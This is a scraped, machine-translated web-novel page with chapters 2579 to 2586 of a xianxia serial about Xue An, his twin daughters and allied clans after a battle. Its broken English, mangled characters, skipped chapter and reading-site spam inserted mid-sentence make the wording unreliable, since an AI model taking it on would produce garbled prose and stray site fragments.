    "Do you know Sister Qinghuan, when I saw that my father moved in with the materials that would allow us to live and practice for hundreds of years in the Fubao Xiaolou, I knew that the things he was facing were definitely not trivial!"


    Watching the talk and thinking about it logically, Yue Qinghuan��s brain couldn��t help but crash.


    Is this still the kid with the impression that he can only play?


    How so calm, there is even a shadow of Xue An.


    Think about it and go on and say: "But I didn''t say anything, even when Dad was afraid of us and left a clone to accompany us, I didn''t say anything, because I was afraid that Dad would be distracted again!"


    "So I can only pretend that I don''t know anything, and smiled and said goodbye to my dad, and promised to stay honestly to complete this test!"


    "But during this period of time after my father left, I don''t know how I spent it, but I can''t show it, because Nian Nian doesn''t understand anything. As a sister, I have a responsibility and an obligation to protect her."


    Speaking of this, think about raising your head, big tears suddenly dripped from a pair of big eyes.


    "So Sister Qinghuan, I just want to know if my parents are really fine!"


    Yue Qinghuan was moved at this moment, because she had never expected that this seemingly innocent and innocent little girl would actually have grown up quietly and understood many things.


    In particular, this kind of care and consideration for parents is something that many older children cannot achieve.


    This kind of sensibility and well-behaved made Yue Qinghuan feel infinite distress and love.


    She knelt down, gently held her tearful thinking in her arms, and then said in a very firm tone.


    "Think stupidly, can''t you still believe your sister Qinghuan? The reason why your mother didn''t show up was because she lost her strength and was in a coma, and it would be back to normal in a few days. Let me tell you."


    "Really?" Think about struggling from Yue Qinghuan''s arms, and said with a serious face.


    "It really can''t be true anymore, how could Sister Qing Huan lie to you." Yue Qing said with a smile.


    After thinking about examining Yue Qinghuan''s face carefully, and discovering that she really did not seem to be a lie, she let out a sigh of relief.


    "That''s good, but don''t tell Niannian about these things, she is too young to understand these things!"


    Yue Qinghuan was almost amused. It was only five minutes old, but she kept saying that the other party was too young. Thinking about this young lady, she was really competent.


    But in order to live up to her thoughts, she nodded seriously.


    "Don''t worry, I will never talk outside, and you have to keep it secret for me. After all, your dad said, so I won''t let me tell you these things!"


    "Of course I won''t say it, so that the two of us pull the hooks as proof of mutual confidentiality."


    Think about reaching out, looking at Yue Qinghuan with big eyes without blinking.


    Yue Qinghuan smiled, no matter how sensible he was, he was still a child after all.


    Then she also stretched out her hand and hooked it with thought.


    Just think about it and smile with satisfaction.


    At this moment, Nian Nian returned to pick up something in the Fubao Xiaolou.


    As she walked, she murmured: "It''s so lazy, I have to let me get it for you."


    After seeing her here, think about squeezing your eyes with Yue Qinghuan, and then stepping forward to take the braided flower.


    "What''s wrong with asking you to take something? Why don''t you say that you can eat two more mouthfuls of ice cream in the future?"


    "That''s the same, UU reading , you are the laziest sister in the world!"


    "To each other, you are also the laziest sister in the world."


    The two little girls murmured a few words on a daily basis, and then went to comb their hair and braided them after thinking about it.


    And at this time, Nian Nian walked to Yue Qinghuan''s side casually, and the first words she said shocked her.


    "What did my stupid sister tell you?"


    Yue Qinghuan was shocked, and his head was full of question marks.


    What''s the matter with these little sisters?


    How come the words are astonishing one by one?


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Thinking about Chapter 2579), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2580： Nian Nians thoughts

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "Actually, I guessed it, did she ask her parents about things, and told you not to tell me what I am a stupid kid?" Nian Nian said with a dissatisfied expression.


    Yue Qinghuan didn''t know how to answer.


    Nian Nian couldn''t help but sighed.


    "She thought I didn''t understand anything, but how did she know that I actually knew better than her. Before my father left, he put all the resources he could collect into the Fubao Xiaolou, and I knew his father this time I must do something very risky."


    "My sister obviously saw it at the time. Although she tried to hide it, the hesitation and panic in her eyes still betrayed her, but what she didn''t know was that at that time, her father even had a certain belief in death."


    Yue Qinghuan was shocked all over, with a look of horror on his face.


    Because she didn''t even know about it.


    Nian Nian faintly said: "The clone that my father left at the time explains everything, because that clone is obviously not a normal clone. Dad instilled almost all knowledge into that clone."


    "I knew at the time that Dad was obviously planning for the worst. If... if he really can''t come back, then this clone will teach us all the knowledge on his behalf!"


    Yue Qinghuan was shocked, one for the cleverness of these two little girls, and the other for Xue An''s decisiveness.


    He actually made such preparations.


    At the same time, Nian Nian said in a low tone.


    "After my father left, my sister changed a lot. Although she was still lively and cheerful on the surface, she was more accommodating to me, and this fool thought he was covering up well, but I saw it more than once. She shed tears secretly in a place where no one else is!"


    Speaking of this, Nian Nian''s tone also brought a little choked, "This fool, I can only pretend that I don''t know anything, and keep acting with her."


    Yue Qinghuan gently stroked the top of Nian Nian''s head with a distressed hand.


    Nian Nian said with some empathy: "In fact, there is a sister who is pretty good. At least when my dad hadn��t come back, the two of us couldn��t eat snacks. We could only watch other children eat, and then hide in the corner by ourselves. Greedy."


    "Every time at this time, my sister will go to the street alone to find those younger brothers and sisters who look more kind, and then shamefully use her cute appearance to fool some snacks!"


    Speaking of this, Nian-nian suddenly laughed, "I have to say, cheated snacks are so delicious!"


    Yue Qinghuan''s heart suddenly tightened into a ball.


    Because she had no idea that Xue An, the twin girls, had such a past.


    It sounds distressed.


    "At that time... didn''t anyone take care of you?" Yue Qinghuan asked difficultly.


    "Yes, Aunt Xuan''er has been taking care of the two of us! At that time, my mother was taken back by the bad guy from my grandma''s side, and my father was gone. Aunt Xuan''er raised us little by little!"


    Yue Qinghuan naturally knew Tang Xuan''er, but only then did she understand how much Tang Xuan''er weighed against Xue An.


    Not to mention anything else, just the kindness of raising the daughter for four years is enough to surpass everything.


    "In fact, Sister Xuan''er would give us pocket money at the time, but except for the things we had to buy, we didn''t move any other cents and saved them all. Do you know why?"


    Before Yue Qinghuan could answer, Nian Nian continued, "Because we are afraid of spending too much money, Aunt Xuan''er will leave us someday!"


    This sentence was like a heavy hammer, and it hit Yue Qinghuan''s heart severely.


    She took a deep breath and rubbed Niannian''s hair lightly, trying to say something comforting, but she didn''t know what to say.


    "And Aunt Xuan''er was also very hard at the time. Many people rumored that the two of us were her daughters. This was a great pressure on Aunt Xuan''er, who was unmarried at the time, but she never gave up on us. So we two At that time, I was thinking about growing up as soon as possible, and then reporting back to Aunt Xuan''er."


    "It wasn''t until that blizzard night, when Dad finally came back, that we had a good life!"


    Speaking of this, Nian Nian raised her head with a relaxed look on her small face, "Sister Qinghuan, in fact, I said so much to you today. I just wanted to tell you how important mom and dad are to us, so my sister just now No matter what you say, you can be considerate!"


    Yue Qinghuan was seldom touched, but today he was shocked by the miss of the little sisters one after another, especially the feeling of mutual protection between their sisters that although they disliked on the surface, they actually protected each other, which moved Yue Qinghuan even more.


    So after hearing Nian Nian''s words, she whispered softly.


    "I didn''t say anything after thinking about it. I just asked me about Sister Yan''s situation! I told her that your mother was fine, she was just temporarily in a coma."


    "Sure enough!" Niannian shook her head helplessly, "This foolish sister, why doesn''t she think about it when she asks these questions? If there is any accident to her mother, can her father be so calm?"


    "You have to know that Dad loves her so much, and even her hair loss is distressed. It is conceivable that if something happens to her mother, it is estimated that Dad will directly destroy the whole world crazy. After all, even if it is us, in Dad The status in my mind is also ranked behind my mother!"


    Yue Qinghuan was dumb, because this was an angle that even she had never thought of, and she couldn''t help but fall into a kind of bewilderment that her IQ was crushed by a child.


    At the same time, think about putting the braids back together, returning to the two of them, and asking with a smile.


    "How? It looks good, right?"


    Not waiting for Yue Qinghuan to speak, Nian Nian curled her lips with disdain, "It''s so ugly!"


    "Cut, you are pure jealousy!"


    "I''m jealous? I taught you how to tie a braid!"


    "So what? I look better than you anyway!"


    "I''m pooh, we are almost looking in the mirror when we stand together. Why are you looking better than me?"


    "Because I am 20 grams thinner than you, my face is smaller than yours!"


    "Hahaha is funny, isn''t it that when I was weighing, I drank a sip of water, so I was a little heavier than you, but you don''t want to forgive me!"


    "That''s why I''m thinner than you, you fat sister, don''t you agree?"


    "Just dissatisfied, you stupid sister, dare to say that I am fat? Be careful I pull your pigtails!"


    "Aren''t you fatter? Every time you eat ice cream, you eat more than me. Of course you will get fatter, so I decided to let you eat two bites less when eating ice cream in the future to help you lose weight!" Think about it in a serious way.


    "Okay! It turned out to be waiting for me here, you foolish!"


    "Fat sister!"


    "The foolish sister who can only shame!"


    The two little girls quarreled.


    At this time, Xue An was done with things, turned around and came here, and then wondered: "What''s the matter? Wasn''t it okay just now? Why did you suddenly start arguing?"


    Yue Qinghuan looked helpless, "It seems that it was because someone had eaten two more ice creams!"


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2580), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2581： Convergence of all parties

    Count the capital city.


    When Xue An left, the place temporarily calmed down.


    After all, they have just gone through a great battle, and many people are exhausted physically and mentally, and are in desperate need of recuperation.


    But this calm state didn''t last long before the Shen family and military strategists came together to break it.


    I saw two teams coming in mighty powers, making many unidentified people nervous.


    But soon someone recognized these two teams.


    "Hey, isn''t this a member of the military and Shen family?"


    "Yes, it''s them! They actually rushed over!"


    In the chaos, Yue Shifang rose into the sky and greeted him first.


    And when he saw these ancestral spirits leading the team, he couldn''t help but be astonished.


    "you��."


    Zhong Lishan rubbed his hands in excitement, "What? Are you surprised, I didn''t expect it to be us?"


    Yue Shifang nodded, he was indeed a little surprised.


    Because the ancestor spirits of these soldiers are all people who have died once, although they can survive under the protection of the Pantheon, they are also destined to be very fragile.


    It is no exaggeration to say that a slight injury may completely disperse them.


    That''s why Yue Shifang was so surprised.


    At this moment, I heard Yue Huazang chuckle, "Xiao Shifang, you don''t have to be too surprised, there is a reason why we can be here!"


    Having said that, Yue Huazang recounted what happened.


    Although Yue Shifang had long expected that the soldiers would be invaded by evil things, after all, the Eastern Emperor had planned to plant this terrifying killing for so long, and what he had planned was not just to wipe out his own people.


    What he wants is to subvert the entire outer sky, so when the fierce battle on the battlefields of hundreds of families is in full swing, the sects scattered everywhere in the outer sky will not be spared.


    But he didn''t expect the situation to be so serious. In order to deal with the military strategist, Donghuang Taiyi actually dispatched his capable officers Diablo, if it weren''t for Shen Muyu''s timely action, perhaps the military strategist had already suffered a catastrophe. Sacrifice like yunxuange.org sacrifice like


    But he still didn''t quite understand how these ancestral spirits traveled thousands of miles, first went to the Shen''s house to save everyone, and then rushed here.


    As if seeing the doubt in his heart, Gu Xianyi smiled slightly.


    "Xiao Shifang, you must not understand why we are here, let''s take a look at this!"


    As he said, Gu Xianyi stretched out her hand, and there was a miniature building floating in her palm.


    Yue Shifang shook his whole body, Xuan even understood.


    "Is it the Pantheon?"


    Gu Xianyi nodded, "Yes, it''s the Pantheon! Thanks to this treasure that has been handed down since ancient times, we old guys can survive after death, but this also creates our fragile nature!"


    Zhong Lishan preemptively said: "So in order to be able to break away from the shackles of distance, Xianyi proposed the idea of ??condensing this pantheon with a secret method and then carrying it with us, so that we can move freely!"


    At this point, Yue Shifang couldn''t help but suddenly realized, and then he didn''t know what it was like.


    I am moved, but also fortunate.


    Moved by these ancestral spirits, it can be said that they have done their best for the military, and they have died.


    Even if you carry the Pantheon with you, you must act resolutely, which is equivalent to carrying a coffin on the battlefield, full of awe-inspiring tragedy.


    Fortunately, fortunately, even with such a big risk, the ancestors of the military family were all safe and sound.


    This has to be said to be a fluke.


    At this moment, other soldiers from the military family, such as Yue Junze and others, stepped forward to show respect to the ancestors.


    Yue Huazang saw the clues and couldn''t help being taken aback.


    "Hey, where is Qinghuan girl? Why is she not here?"


    Hearing this, these ancestor spirits, including Zhong Lishan, turned their eyes to Yue Shifang, and their faces were full of worries.


    Yue Shifang chuckled and waved his hand: "Don''t worry, Qing Huan is fine, she should be doing something with Xue An, and I will be back in a while!"


    Hearing the words Xue An, the aura of these ancestor spirits were all shocked.


    "Hey, on the way here, I heard that the reason why this catastrophe can disappear into the invisible, can be attributed to Xue An, is that so?" Zhong Lishan asked.


    Yue Shifang nodded, "Yes, Xue An''s contribution to smash the conspiracy of Eastern Emperor Taiyi this time is the greatest!"


    These ancestors looked at each other, and all saw the shock in each other''s eyes.


    In fact, they had heard the rumors on the way here, but they all couldn''t believe it was true.


    After all, who is Donghuang Taiyi?


    It was already a top-level existence at the time of the last catastrophe, and it has experienced the baptism of ten thousand years. Its strength is so strong that it is estimated that the entire sky can not find a second one.


    And Xue An is nothing more than a saint at best, and he has only recently been promoted.


    The difference in strength among them can hardly be counted by the truth.


    With such a disparity in strength, if Xue An killed Donghuang Tai with a single blow, it would be hard for them to believe.


    But after getting confirmation from Yue Shifang, they couldn''t help but believe it.


    "Hi, UU reading , is Xue An this little guy so powerful?" Long Tianzong couldn''t help but breathe in a cold breath at this moment when he had not spoken.


    "The key person is not very old. Even if he counts the three thousand years he has practiced in the heavens, he is only a child compared to us. It is really a hero from a young age!" Sima Yu couldn''t help but sigh.


    "It seems that we still underestimate the heroes of the world! It is ridiculous that when we were in the Pantheon, we also commented on the heroes of the world, thinking that no one in the world today can defeat the Eastern Emperor Taiyi alone. Now I want to come, really with the frog in the well The same." Gu Xianyi also said with a wry smile.


    Everyone nodded. At this moment, Yue Huazang suddenly said: "Actually, you are all wrong. It is not surprising that Xue An can defeat Donghuang Taiyi. Don''t forget what family he comes from!"


    This sentence directly awakened everyone, and then they all fell into contemplation.


    At this moment, Zhong Lishan suddenly came up very mysteriously and pulled Yue Shifang aside.


    "You just said where did Qing Huan girl go with Xue An?"


    "I don''t know. They both left shortly after retreating from the battlefield."


    "Hehe." Zhong Lishan smiled a little strangely, "Is it possible that the two of them went to another place for a tryst?"


    A black line appeared on Yue Shifang''s forehead in an instant.


    Because this kind of remark doesn''t really seem like an old guy who has passed away. Mi He Mi


    But this really reminded Yue Shifang.


    Maybe it''s really possible!


    Although Xue An had always been fascinating with his sister before.


    But who can guarantee that there will be no changes in the future?


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2582： Gritted teeth

    You must know that in terms of appearance, his sister is stunning, and she is infatuated with Xue An.


    At this special juncture, in case Xue An can''t hold it back and has other thoughts, isn''t his sister going to suffer a big loss?


    These thoughts rushed to Yue Shifang''s heart instantly, and the more he thought about it, the more likely he was, his face paled involuntarily.


    Seeing Yue Shifang''s face change, Zhong Lishan naturally understood the reason and couldn''t help but smile.


    "Okay, you don��t have to worry too much. If things are as you imagined, it��s not a bad thing! Otherwise, you think it��s the Qinghuan girl��s very assertive personality since she was a child. Is it still possible to change? Not to mention..."


    Zhong Lishan lowered his voice, "Girl Qinghuan has a mysterious origin, and this Xue An is extremely lucky. If it can be brought together, it may be God''s will."


    Yue Shifang was silent.


    He actually knew what Zhong Lishan meant, and it was also for the sake of Qinghuan.


    But he was still twisted in his heart, always feeling like he had sold his younger sister.


    At the moment, Shen Muyu also felt awkward.


    He led all the sword repairmen left behind by the Shen family to this capital city.


    Shen Hongyi, who had to come forward to preside over the situation because of his sudden departure on the Baijia battlefield, led the crowd to greet him.


    Then she learned from Shen Muyu that the owner of the family, Du Jingsheng, had died, and she couldn''t help crying bitterly.


    To her, who has followed Du Jingsheng to practice swordsmanship since she was a child, Du Jingsheng is not only the master of the Shen family, but also her own enlightenment in kendo, and a teacher who can be called a model.


    So when he heard the news of his death, Shen Hongyi couldn''t help but grieve from it and wept loudly.


    When she cried, everyone in the Shen family also shed tears.


    Du Jingsheng has been in charge of the Shen family for so many years.


    Coupled with his fairness, he treats everyone in the Shen family equally, which has earned him an extremely good reputation.


    This time he fell suddenly, and many people naturally couldn''t accept it.


    Shen Muyu was also very sad, half because of Du Jingsheng''s departure, and the other half because of a strong sense of frustration.


    And these frustrations all come from Xue An.


    On the way to here, Shen Muyu also heard countless rumors.


    Although many of them are getting more and more outrageous, there are still many with extremely high credibility.


    For example, how Xue An managed to turn the tide and rescue the hundreds of people who attended the meeting.


    And how Xue An saw through the conspiracy of the Eastern Emperor Taiyi and arranged everything in advance.


    All these made Shen Muyu feel uncomfortable.


    Because there was a time when he was a peerless genius who was praised by countless people.


    But I never expected that after only a few days, everything has changed tremendously.


    First, he was defeated by Xue An on the battlefield of Baijia.


    This almost destroyed his cultivation base, and he survived only with a trace of unwillingness to admit defeat and the mercy of Xue An''s men.


    But at the time, Shen Muyu did not despair at least.


    Because he felt that even if he lost this sword, it would be nothing, as long as he practiced hard, he would definitely be able to regain his own honor.


    But I never expected that not long after this idea was born, I was ruthlessly slapped in the face by the facts. Sacrifice as xindingdianxsw.net


    Turning the tide with his own power, facing Donghuang Taiyi alone and defeating him, this is something Shen Muyu could not even think of, but Xue An really did it.


    How does this make Shen Muyu play?


    So at this moment, he was full of deep frustration and powerlessness.


    It was at this moment that two Huaguang suddenly descended over the main city of Jidu at an extremely fast speed. After they emerged, it was Xue An and Yue Qinghuan.


    The appearance of the two of them caused a great uproar in the field.


    Many people greeted each other.


    "I have seen Mr. Xue!"


    "I have seen Engong Xue!"


    The shouts one after another are full of infinite reverence.


    At this moment, Xue An''s prestige in the entire sky can be described as no one can match.


    And the power of Xuanhe also calmed down Shen Muyu, who was originally full of misfortune.


    Because he finally understood that he was not wronged at all when he was defeated by Xue An, because it was not because he was too weak, but because Xue An was too strong.


    It is so strong that he can only look up to his existence.


    Xue An''s return caused the tension in many people''s hearts to finally relax.


    Because no one knew what Xue An was doing before.


    What if he doesn''t come back?


    But these worries disappeared at the moment when he saw Xue An.


    In fact, many people didn''t realize it. Before they knew it, Xue An had become the backbone.


    If he is not there, many people will feel insecure.


    In this atmosphere of gradual relaxation, both the military and the Shen family followed Xue An back to the capital city of Jidu.


    Lei different has already vacated the City Lord''s Mansion as a place for everyone to discuss matters and rest.


    And just when many people followed Xue An into the City Lord''s Mansion.


    Yue Shifang stopped Yue Qinghuan.


    "Wait a moment, I have something to ask you!"


    "Huh? What''s the matter?"


    Yue Qinghuan followed her brother to a remote corner and asked with a face full of puzzlement.


    Yue Shifang coughed twice and suddenly didn''t know how to speak. UU reading www.uukanshu.c��m


    What should I ask myself?


    Straightforwardly ask, what did you do with Xue An just now? Have you ever done anything more polite?


    As an older brother, how could he open his mouth like this!


    Just when he secretly regretted.


    Gu Xianyi''s voice came from behind, "Qing Huan, what is the relationship between you and Xue An now?"


    "What is the relationship, we are just friends!"


    "Is it really just a friend?"


    "Otherwise what do you think?"


    "We thought that since the two of you are so close, the relationship might not be so simple!" Zhong Lishan poked his head out from the side and said.


    Yue Qinghuan couldn''t laugh or cry, "What''s this all about! We are really just ordinary friends, and I just followed him to pick up his two daughters."


    "Yes, this guy already has a child, I actually forgot about this." Zhong Lishan said suddenly in embarrassment.


    Everyone was speechless for a while.


    Yue Qinghuan had nothing to do with this group of worrying elders, so he could only sigh helplessly, "If there is nothing wrong, then I will leave first!"


    After that, she turned and left, leaving the soldiers and the ancestors standing on the ground and looking at each other. Mi He Mi


    After a while, I just listened to Gu Xianyi''s gritted teeth: "Zhong Lishan, I blame you for this matter. Who made you chew your tongue and say that you are happy with each other? Now it is all right. How will you let Qinghuan girl look at us in the future? "


    Zhong Lishan trembled all over, then he smiled and said, "Isn''t it for Qinghuan? Who knows that this will happen, there is nothing wrong with me, I will leave first, goodbye!"


    After that, he ran away in a panic.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2584： Before leaving

    In fact, just before today, she hadn''t even seen Xue An''s original face, and all she knew about him was only from the clone of Bao Huarong.


    But this did not affect Chen Zuihui''s admiration for Xue An at all.


    Especially when she saw that Xue An had turned the tide on her own, this feeling also reached its peak.


    When these luxuriously dressed women rushed to toast Xue An, Chen Zuihui could only look from a distance, full of envy in her heart, but did not dare to come over.


    Because she thinks that with her own status and status, she is completely unqualified to approach Xue An.


    But when she keenly observed that in the face of the flattery of these women, Xue An''s eyes clearly flashed a look of impatience, somehow she stood up naturally and walked to Xue An''s side.


    And Xue An didn''t say anything, and even thanked her.


    This made Chen Zuihui very excited, and then she cautiously waited on Xue An.


    Ao Shu looked at Chen Zuihui suspiciously, and then sat down beside Xue An aggressively, blocking Xue An behind him like an old hen guarding her cubs.


    Then she stared at these women with anger. Although she didn''t speak, her eyes explained everything.


    Soon these women were defeated by Ao Shu''s aggressive gaze, and they retreated one after another.


    "Huh, a bunch of stupid women still want to fight with me?" Ao Shu pucked at the back of these women, and then turned to Xue Anqiao and said with a smile.


    "Did you say I was right, Brother Ang!"


    Xue An couldn''t laugh or cry, but fortunately, Ao Shu''s appearance helped him out, so he nodded.


    Sacrifice such as zhuishukan.com. "Well, I said you were right."


    "Hee hee." Ao Shu smiled so that his eyes were bent into crescent shapes, then he leaned close to Xue An mysteriously and whispered.


    "Brother Ang, what did the stray guy from Qingqiu Fox Country suddenly come to do with you? Did something happen in the heavens?"


    Xue An nodded, "Well, something did happen."


    "Huh? What is that?" Ao Shu was taken aback.


    Xue An looked at Ao Shu with a blank face, and suddenly didn''t know what to say to her.


    Because according to Hu Ye, in this shocking change of the heavens, the people who were forcibly erased the traces of existence included Ao Shu.


    At that time, Hu Ye made a special trip to the ancestral land of the Dragon clan in order to find her own traces. It turned out that not only the Long Er princess Ao Yi who died to save herself had completely disappeared, but even the third princess Ao Shu also had no trace of existence. .


    Only the eldest princess Ao Qing remained in the ancestral land of the dragon clan, and naturally she would not remember those things.


    At that time, when Hu Ye was telling Xue An these words, his teeth almost broke.


    In Huye''s words, he has never owed anyone else in his life, but the only one who is sorry is the second dragon princess Ao Yi.


    Therefore, after her death in the battle, Huye changed her past and started a frenzied practice. Only in a short period of time did she make breakthroughs one after another, and finally achieved the Nine-Tailed Heavenly Fox.


    But even so, he failed to resurrect Ao Yi.


    But Hu Ye never intended to give up, she was always looking for various methods, but she didn''t expect to wait for him to find an eyebrow.


    The panic happened, and Ao Yi was wiped out all traces by Shengsheng.


    This direct contact hit Huye''s Ni Lin, how could he not be angry.


    After pondering for a moment, Xue An had to chuckle, "It''s nothing, you''ll know it by then!"


    Although Ao Shu was full of confusion, since Xue An had said so, she stopped struggling with these things, and instead pestered Xue An and started drinking.


    The banquet did not go away until the early hours of the next day. Many people were drunk and were carried away.


    Although Xue An drank more wine than anyone else, he was more sober than anyone else.


    And just as he was about to leave, Yue Shifang suddenly stopped him.


    "Xue An, wait a minute."


    Xue An stopped and turned to look at Yue Shifang.


    I saw that Yue Shifang''s expression was very serious, "Is there something important in the heavens that makes you have to return to solve it?"


    Of course Xue An knew that these things couldn''t be hidden from Yue Shifang, especially this time that Fox Night came to find himself all the way, which in itself already explained a lot.


    So Xue An nodded.


    "Yes!"


    "Can you tell me what''s the matter?" Yue Shifang asked in a deep voice.


    Xue An didn''t conceal it either, and directly recounted the situation.


    After listening, even the well-informed Yue Shifang was shocked.


    "Erase all traces of a person''s existence? Even people close to him have disappeared. Is there really such an anti-sky method in the world?"


    You must know that this is not simply obliterating a person''s body, but abruptly obliterating all traces of a person''s existence on the level of the heavens.


    The things represented here are simply unbelievable.


    At least Yue Shifang couldn''t imagine what kind of existence could do this.


    "In the beginning I didn''t want to believe it, but it''s impossible for Fox Ye to deceive me with this kind of thing, so it must be true." Xue An said softly.


    Yue Shifang was silent.


    He thought that at best, the heavens were just like the outer heavens, invaded by evil things. UU reading www. uukanshu.com


    But I didn''t expect things to be so tricky.


    Even he couldn''t even figure it out.


    After a long time, Yue Shifang couldn''t help but sigh, "The ancients said that the higher the cultivation level, the more frightened. This sentence honestly does not deceive me. If all this is really done by an invisible hand behind it, it would be terrible. ."


    "So what are you going to do?" Yue Shifang looked at Xue An with piercing eyes.


    "No matter how much the other party exists, I will return to the heavens. After all, my relatives and friends are there, and they are also implicated because of this incident."


    Yue Shifang sighed softly, "Actually, I wanted to persuade you not to return to the heavens for the time being, but it looks like it is now, I guess it''s useless to persuade you!"


    Decrease Bxwx.��cO����. Speaking of this, Yue Shifang''s expression suddenly became serious.


    "But you must be more careful when you go back this time. After all, this is different from the real swords and guns on the front battlefield. It is an invisible battle. The enemy is likely to be hidden in the crowd, so you must be more careful. Watch out."


    "I understand." Xue An nodded.


    Yue Shifang suddenly took out a seal letter from his arms, and then solemnly handed it to Xue An.


    "what is this?"


    "This is a piece of jade that I wore with me back then. There is a seal of the ancestor of the military strategist on it. I have been storing it in the military arsenal. I am not willing to use it. I will give it to you now. If there is an emergency, it should be able to save it. You die."


    Xue An looked at this jade decision, smiled, and then took it in his hand.


    Mi He Mi. "Thank you!"


    "How can you talk about the word thank you, but I hope you don''t use it!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2585： Support with the sword

    Yue Shifang left, but Xue An did not leave, but stood quietly in place, seeming to be waiting for something.


    After a while, accompanied by a flash of brilliant light, Shen Muyu appeared in front of Xue An.


    Xue An seemed to have anticipated his arrival, but just smiled faintly, "You are here!"


    Shen Muyu did not respond, but took a deep look at Xue An.


    "You knew I would come?"


    Xue An nodded, "Yes, if you don''t come, you don''t deserve to be called the unique genius of the Shen family for thousands of years!"


    As he said, Xue An narrowed his eyes slightly, "You have an extremely complex but extremely pure kendo breath on your body. Is this the inheritance of your Shen family through the generations?"


    Of course, Shen Muyu knew that Xue An couldn''t hide his inheritance from the Patriarch, because he nodded neatly.


    "Yes, I am now the new head of the Shen family!"


    Xue An smiled, "Congratulations, but even if you have acquired the Shen family heritage now, it will take a very long time for you to absorb and understand such a complex breath, so you are still not my opponent now."


    Shen Muyu shook his head, "You made a mistake. I am not here to report the revenge of the sword at the Hundred Schools Conference. I just want to tell you one thing!"


    "Oh? What''s the matter?"


    "Our Shen family... is not a scumbag! What happened back then was the hardest choice we made under a compelling situation. For this reason, our Shen family also paid a very heavy price. At that time, all the senior leaders of the Shen family even All died in battle!"


    Xue An''s complexion also became solemn, "I wish to hear the details!"


    So Shen Muyu repeated what Du Jingsheng had said to him.


    After listening, Xue An also did not speak for a long time.


    To be honest, he did have a lot of criticisms about the Shen family''s actions before that, thinking that their actions were really detrimental to the majesty of sword repair.


    But through Shen Muyu''s narration, he knew that there were so many hidden secrets in it.


    For this reason, Xue An couldn��t help sighing, ��It seems that the disaster that year, everyone paid a painful price, so I really want to know what kind of hand behind it is pushing all this, and its motive. And what are the benefits!"


    Hearing this, Shen Muyu''s eyes are also brilliant.


    Not long ago, he was still the proud son of the heavens admired by thousands of people, but in just a few days of daylight, he experienced a sword defeat, the fall of his family, and many other things.


    At this moment, although his strength has not improved much, his mood has matured too much.


    At this moment, Xue An lowered his head and looked at Shen Muyu with piercing eyes.


    "Friend Shen, I want to ask you for one thing!"


    Without hesitation, Shen Muyu nodded and said, "Please speak!"


    "I will leave this world for a period of time. Although I say that this is not my hometown, it is a matter of great importance and there is no room for loss. With Yue Shifang alone, I am worried that he will not be able to support it alone, so I hope you can stay here. We will cooperate sincerely with Yue Shifang within time to guard against the invasion of evil things again!"


    Sacrifice such as 9duxs.com. Shen Muyu smiled, "Even if you don''t ask me to do this, I will do it! After all, this Tianwaitian is not your hometown, but mine, not to mention the hatred between me and the evil thing. You less!"


    Speaking of the end, Shen Muyu''s eyes jumped with an icy flame, which was condensed from the extreme killing sword intent.


    Xue An nodded, and suddenly flipped his hand, and a strange long sword appeared in his hand.


    "Grasping the sky?" Shen Muyu was taken aback.


    ���]��. Xue An smiled, "Yes."


    This odd-shaped long sword was the side weapon that Shen Hongyi relied on to become famous, but it was captured by Xue An in the battle before the Hundred Schools Conference.


    Shen Hongyi was seriously injured and died, and he was resurrected with the blessing of Shen''s family ancestors.


    So it was later that Shen Muyu approached Xue An the first thing after leaving the customs, and set up the battle book.


    It''s just that the time has passed, and now that the misunderstanding between Xue An and the Shen family has long since disappeared, Xue An has no meaning to hold this long sword anymore, so he simply took it out.


    "At the beginning, I fought with that girl in Shen Hongyi with a sword, but in the end she lost with one move, and the sword fell into my hands. At this moment, I will give it to you. I hope you can return it to that one for me. Miss Shen."


    With that said, Xue An directly threw Lian Tianqing in his hand over.


    Shen Muyu took it in his hand and looked at it for a while, a strange color flashed in his eyes.


    "This sword..."


    Xue An chuckled, "At the beginning, I fought too fiercely with that girl Shen, which resulted in severe damage to this sword, and almost all the spirits were scattered, so I passed a sword intent and repaired it. It can be regarded as a little help to that girl Shen!"


    Although it is simple, Shen Muyu is well aware of the horror of this, especially Xue An''s cultivation in the kendo is beyond his reach.


    One can imagine how precious his sword intent is.


    Shen Muyu just wanted to say some words of thanks for Shen Hongyi, but saw that Xue An had already turned around and walked into the darkness.


    Hearing the sound of footsteps drifting away, Shen Muyu suddenly became a little confused.


    Even if he is as conceited as him, he has to admit at this moment that Xue An is far superior to himself in terms of talent or cultivation, and even personality charm.


    "I really don''t know what kind of sect race will give birth to such a stunning and stunning existence!"


    Shen Muyu sighed, then turned around and left.


    This night, if someone gets drunk, someone is destined to be sober and calm.


    Such as Yang Jian, such as Xiaotian.


    Although speaking of this battle, with their two cultivation bases, they are just standing on the side and playing soy sauce.


    But this is still difficult to contain their inner excitement.


    Especially when Xue An won the victory, the two almost cheered.


    But what happened next made the two excited people gradually calm down.


    First of all, they were shocked to discover that there was a shadow behind Donghuang Taiyi who thought it was the ultimate BOSS.


    This discovery made them feel terrified.


    Just an existence standing in front of attracting firepower is so powerful, how terrifying is the shadow hidden behind?


    But terror belongs to terror, and the two of them don''t have the slightest fear.


    Mi He Mi. After all the winds and waves of so many years have come, they are already prepared to die.


    What really made them faintly moved and uneasy was Xue An''s attitude after defeating Donghuang Taiyi.


    The solemn atmosphere has been lingering, making people feel depressed.


    And the appearance of Fox Night is even more corroborating a terrible fact, that is, something must have happened to the heavens too.


    For this reason, the two of them can be said to be awake at night. They wanted to ask Xue An several times, but they couldn''t find the opportunity.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2586： wake

